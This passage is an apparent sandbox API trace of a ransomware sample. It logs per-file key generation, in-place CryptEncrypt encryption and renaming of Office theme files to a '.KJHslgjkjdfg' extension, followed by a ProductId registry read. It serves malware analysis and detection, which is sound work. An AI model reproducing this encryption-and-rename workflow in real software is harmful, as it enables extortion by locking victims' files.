lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.028] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.028] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.028] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.028] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.028] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.028] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe1b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xe1b, lpOverlapped=0x0) returned 1 [0178.028] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe20, dwBufLen=0xe20 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe20) returned 1 [0178.028] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.028] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xe20, lpOverlapped=0x0) returned 1 [0178.028] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.028] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.028] SetEndOfFile (hFile=0x12c) returned 1 [0178.031] GetProcessHeap () returned 0x990000 [0178.031] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.031] GetProcessHeap () returned 0x990000 [0178.031] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.032] CloseHandle (hObject=0x12c) returned 1 [0178.033] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0178.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.034] GetProcessHeap () returned 0x990000 [0178.034] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.034] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.034] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.034] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0178.036] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.036] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.036] GetProcessHeap () returned 0x990000 [0178.036] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.036] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.036] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.036] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.036] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.036] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.037] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.037] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.037] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.037] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.037] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.037] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.037] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1936f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1936f, lpOverlapped=0x0) returned 1 [0178.040] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x19370, dwBufLen=0x19370 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x19370) returned 1 [0178.041] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.041] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19370, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x19370, lpOverlapped=0x0) returned 1 [0178.041] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.042] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x19434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.042] SetEndOfFile (hFile=0x12c) returned 1 [0178.045] GetProcessHeap () returned 0x990000 [0178.045] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.045] GetProcessHeap () returned 0x990000 [0178.045] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.kjhslgjkjdfg")) returned 1 [0178.049] CloseHandle (hObject=0x12c) returned 1 [0178.049] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0178.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.049] GetProcessHeap () returned 0x990000 [0178.049] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.049] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.049] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.049] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.051] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.051] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.051] GetProcessHeap () returned 0x990000 [0178.051] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.051] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.051] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.051] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.052] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.052] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.052] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.052] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.052] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.052] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.052] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.052] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.052] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1c8, lpOverlapped=0x0) returned 1 [0178.052] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1d0) returned 1 [0178.052] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.052] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1d0, lpOverlapped=0x0) returned 1 [0178.053] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.053] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.053] SetEndOfFile (hFile=0x12c) returned 1 [0178.055] GetProcessHeap () returned 0x990000 [0178.055] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.055] GetProcessHeap () returned 0x990000 [0178.055] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.kjhslgjkjdfg")) returned 1 [0178.059] CloseHandle (hObject=0x12c) returned 1 [0178.059] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.060] GetProcessHeap () returned 0x990000 [0178.060] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.060] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.060] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.060] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0178.063] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.063] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.063] GetProcessHeap () returned 0x990000 [0178.063] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.063] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.063] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.063] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.063] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.064] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.064] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.064] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.064] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.064] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.064] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.064] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.064] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8573, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x8573, lpOverlapped=0x0) returned 1 [0178.066] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8580, dwBufLen=0x8580 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8580) returned 1 [0178.066] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.066] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x8580, lpOverlapped=0x0) returned 1 [0178.066] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.066] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x8654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.066] SetEndOfFile (hFile=0x12c) returned 1 [0178.069] GetProcessHeap () returned 0x990000 [0178.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.069] GetProcessHeap () returned 0x990000 [0178.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.071] CloseHandle (hObject=0x12c) returned 1 [0178.072] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.072] GetProcessHeap () returned 0x990000 [0178.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.072] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.072] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.072] GetProcessHeap () returned 0x990000 [0178.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.072] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.072] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.072] GetProcessHeap () returned 0x990000 [0178.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.072] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.072] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.073] GetProcessHeap () returned 0x990000 [0178.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.073] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.073] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.073] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.073] GetProcessHeap () returned 0x990000 [0178.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.073] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.073] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.073] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.073] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.073] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.073] RegCloseKey (hKey=0x12c) returned 0x0 [0178.073] GetProcessHeap () returned 0x990000 [0178.073] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.073] GetProcessHeap () returned 0x990000 [0178.073] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.073] GetProcessHeap () returned 0x990000 [0178.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.074] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 